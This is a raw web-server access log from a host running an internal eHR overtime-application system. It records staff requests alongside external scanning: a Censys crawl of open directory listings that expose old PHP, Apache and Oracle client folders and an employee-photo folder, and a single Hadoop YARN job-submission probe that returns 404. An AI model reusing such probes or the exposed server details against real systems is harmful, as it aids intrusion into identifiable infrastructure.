192.168.11.136 - - [06/Sep/2025:09:08:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [06/Sep/2025:09:08:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.09544982250273248 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:08:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.09544982250273248 HTTP/1.1" 200 8900
192.168.11.136 - - [06/Sep/2025:09:09:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.09544982250273248 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.09544982250273248" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:09:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.09544982250273248 HTTP/1.1" 200 24844
192.168.11.136 - - [06/Sep/2025:09:09:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:09:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.136 - - [06/Sep/2025:09:09:47 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131096%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131096&target=iframe HTTP/1.1" 200 3251
192.168.11.136 - - [06/Sep/2025:09:09:47 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131096%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131096&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:09:47 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.11.136 - - [06/Sep/2025:09:09:47 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131096%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131096&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:09:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:09:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [06/Sep/2025:09:09:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22384 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:09:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22384
192.168.11.136 - - [06/Sep/2025:09:10:00 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.136 - - [06/Sep/2025:09:10:00 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:10:00 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:09:10:00 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
100.64.0.1 - - [06/Sep/2025:09:17:48 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:09:17:48 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:09:21:06 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:09:21:06 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:09:21:25 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:09:21:25 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:09:21:31 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [06/Sep/2025:09:21:31 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [06/Sep/2025:09:22:12 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:09:22:12 +0800] "GET / HTTP/1.1" 200 439
192.168.11.64 - - [06/Sep/2025:09:22:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:09:22:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.64 - - [06/Sep/2025:09:22:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [06/Sep/2025:09:22:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.64 - - [06/Sep/2025:09:22:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.64 - - [06/Sep/2025:09:22:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:09:42:15 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:09:42:15 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:09:45:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:09:45:08 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:09:48:58 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:09:48:58 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
100.64.0.1 - - [06/Sep/2025:09:56:49 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:09:56:49 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:09:59:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:09:59:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:10:05:10 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:10 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:10:05:11 +0800] "GET /eHRTEST HTTP/1.1" 301 243
100.64.0.1 - - [06/Sep/2025:10:05:11 +0800] "GET /eHRTEST HTTP/1.1" 301 243 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:11 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649
100.64.0.1 - - [06/Sep/2025:10:05:11 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:11 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266
100.64.0.1 - - [06/Sep/2025:10:05:11 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:12 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [06/Sep/2025:10:05:12 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:12 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290
100.64.0.1 - - [06/Sep/2025:10:05:12 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:13 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399
100.64.0.1 - - [06/Sep/2025:10:05:13 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:14 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:10:05:14 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [06/Sep/2025:10:05:14 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 309 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:14 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 309
100.64.0.1 - - [06/Sep/2025:10:05:14 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:10:05:14 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:15 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:15 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241
100.64.0.1 - - [06/Sep/2025:10:05:15 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 313
100.64.0.1 - - [06/Sep/2025:10:05:15 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 313 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:15 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528
100.64.0.1 - - [06/Sep/2025:10:05:15 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:16 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 313
100.64.0.1 - - [06/Sep/2025:10:05:16 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 313 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:16 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528
100.64.0.1 - - [06/Sep/2025:10:05:16 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:17 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274
100.64.0.1 - - [06/Sep/2025:10:05:17 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:17 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25099
100.64.0.1 - - [06/Sep/2025:10:05:17 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25099 "http://202.111.43.170:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:18 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283
100.64.0.1 - - [06/Sep/2025:10:05:18 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:19 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:10:05:19 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:10:05:19 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217
100.64.0.1 - - [06/Sep/2025:10:05:19 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287
100.64.0.1 - - [06/Sep/2025:10:05:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392
100.64.0.1 - - [06/Sep/2025:10:05:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 288 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 288
100.64.0.1 - - [06/Sep/2025:10:05:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398
100.64.0.1 - - [06/Sep/2025:10:05:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 290
100.64.0.1 - - [06/Sep/2025:10:05:24 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:24 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526
100.64.0.1 - - [06/Sep/2025:10:05:24 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 302 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:24 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 302
100.64.0.1 - - [06/Sep/2025:10:05:24 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:24 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771
100.64.0.1 - - [06/Sep/2025:10:05:25 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 298
100.64.0.1 - - [06/Sep/2025:10:05:25 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 298 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:25 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:25 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525
100.64.0.1 - - [06/Sep/2025:10:05:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 295
100.64.0.1 - - [06/Sep/2025:10:05:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 295 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813
100.64.0.1 - - [06/Sep/2025:10:05:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 287
100.64.0.1 - - [06/Sep/2025:10:05:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/ext" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780
100.64.0.1 - - [06/Sep/2025:10:05:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276
100.64.0.1 - - [06/Sep/2025:10:05:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125
100.64.0.1 - - [06/Sep/2025:10:05:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [06/Sep/2025:10:05:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283
100.64.0.1 - - [06/Sep/2025:10:06:34 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:10:06:34 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:10:06:53 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:10:06:53 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:10:07:04 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:10:07:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:10:08:20 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:10:08:20 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:10:08:53 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:10:08:53 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [06/Sep/2025:10:10:09 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:10:10:09 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [06/Sep/2025:10:10:30 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
